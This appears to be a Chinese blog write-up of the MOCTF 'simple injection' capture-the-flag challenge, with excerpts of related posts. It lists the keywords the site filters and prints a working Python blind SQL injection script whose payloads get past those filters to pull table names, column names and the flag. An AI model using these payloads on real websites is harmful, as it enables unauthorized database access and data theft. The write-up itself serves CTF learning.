MOCTF 簡單注入

2021-09-24 04:39:17 字數 2795 閱讀 2950

簡單注入,可真的是太「簡單」了

開啟頁面,檢視原始碼:

傳入id=1,依次輸入id=1,id=2,id=3有一些提示,說資料庫的長度大於20,而且flag就在這個庫內

開始檢測注入,,,,,

經過一系列的檢查之後發現:

/**/,空格,substr(),union,or,>(後面寫指令碼的時候才知道》過濾了,套~)等…都被過濾了

union都被過濾了,報錯注入實現不了,但是ascii函式和mid函式和hex函式沒有被過濾

mid函式和substr差不多,盲注跑指令碼!!!

說實話,這個指令碼真的寫得頭皮發麻,一路的坎坷!!!

先附上指令碼:

import requests

import io

import sys

'''url = "'and(length(database()))!='20"

s = requests.get(url)

s.encoding = 'utf-8'

content = s.content

#檢驗是否成功

if 'hello' in s.text:

s.encoding = 'gbk'

print(s.text)

#構造sql注入語句

and(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))=***)and(length(database()))!='20

'''#-----------------------------二分法不能用,>被過濾了,套他的猴子!!!!----------------------------------

#-----------------------------所以這個二分指令碼寫得有沒有錯還不清楚。。。。。----------------------------------

'''url = "'and(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%s,1))>%s)and(length(database()))!='20"

ss = ""

for i in range(1,30):

maxx = 126

minx = 32

flag = 0

while abs(maxx-minx)>1:

mid = (maxx + minx)/2

payload = url%(str(i),str(mid))

s = requests.get(payload)

if 'hello' in s.text:

flag = 1

min = mid

else:

max = mid

if(flag):

ss += chr(mid)

else:

break

print(ss)

'''#-----------------------------跑得太慢了,受不了-------------------------------

url = "'and(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%s,1))=%s)and(length(database()))!='20"

url2 = "'and(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='do_y0u_l1ke_long_t4ble_name')),%s,1))=%s)and(length(database()))!='20"

url3 = "'and(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),%s,1))=%s)and(length(database()))!='20"

ss = ""

for i in range(1,50):

for j in range(32,126):

payload = url3%(str(i),str(j))

#print(payload)

s = requests.get(payload)

if 'hello' in s.text:

ss += chr(j)

print(ss)

break

url是跑錶名的,url2是跑列名的,url3直接爆flag的,,,,,,截圖如下:

第一次編寫指令碼跑web,花的時間還不是一般的多,以後繼續學習,繼續努力!!!

美味的餅乾 moctf

這道題一開啟看到乙個登陸頁面,嘗試下sql注入 username admin password 1 1 發現頁面跳轉登陸成功!歡迎admin 除錯看見 再看響應發現有段很奇怪的cookie login zwuxmwniyje5mduyztqwyja3ywfjmgnhmdywyzizzwu 有點像ba...

簡單SQL注入

sql注入思路 找注入點 判斷是否為注入點 猜表名 猜欄位名 爆出字段內容 那麼何為注入點?有引數進行資料庫傳遞的都可判為注入點。以此url為例 xx.xx show.asp?id 1 其中id即為引數,如果此url用sql語句來表示的話 則向資料庫中進行查詢的語句為 select from sho...

簡單sql注入防範

1 判斷資料 2 對提交過來的資料,進行判斷 a 字元型,通過下面函式過濾 function checkstr str if isnull str then checkstr exit function end if str replace str,chr 0 checkstr replace st...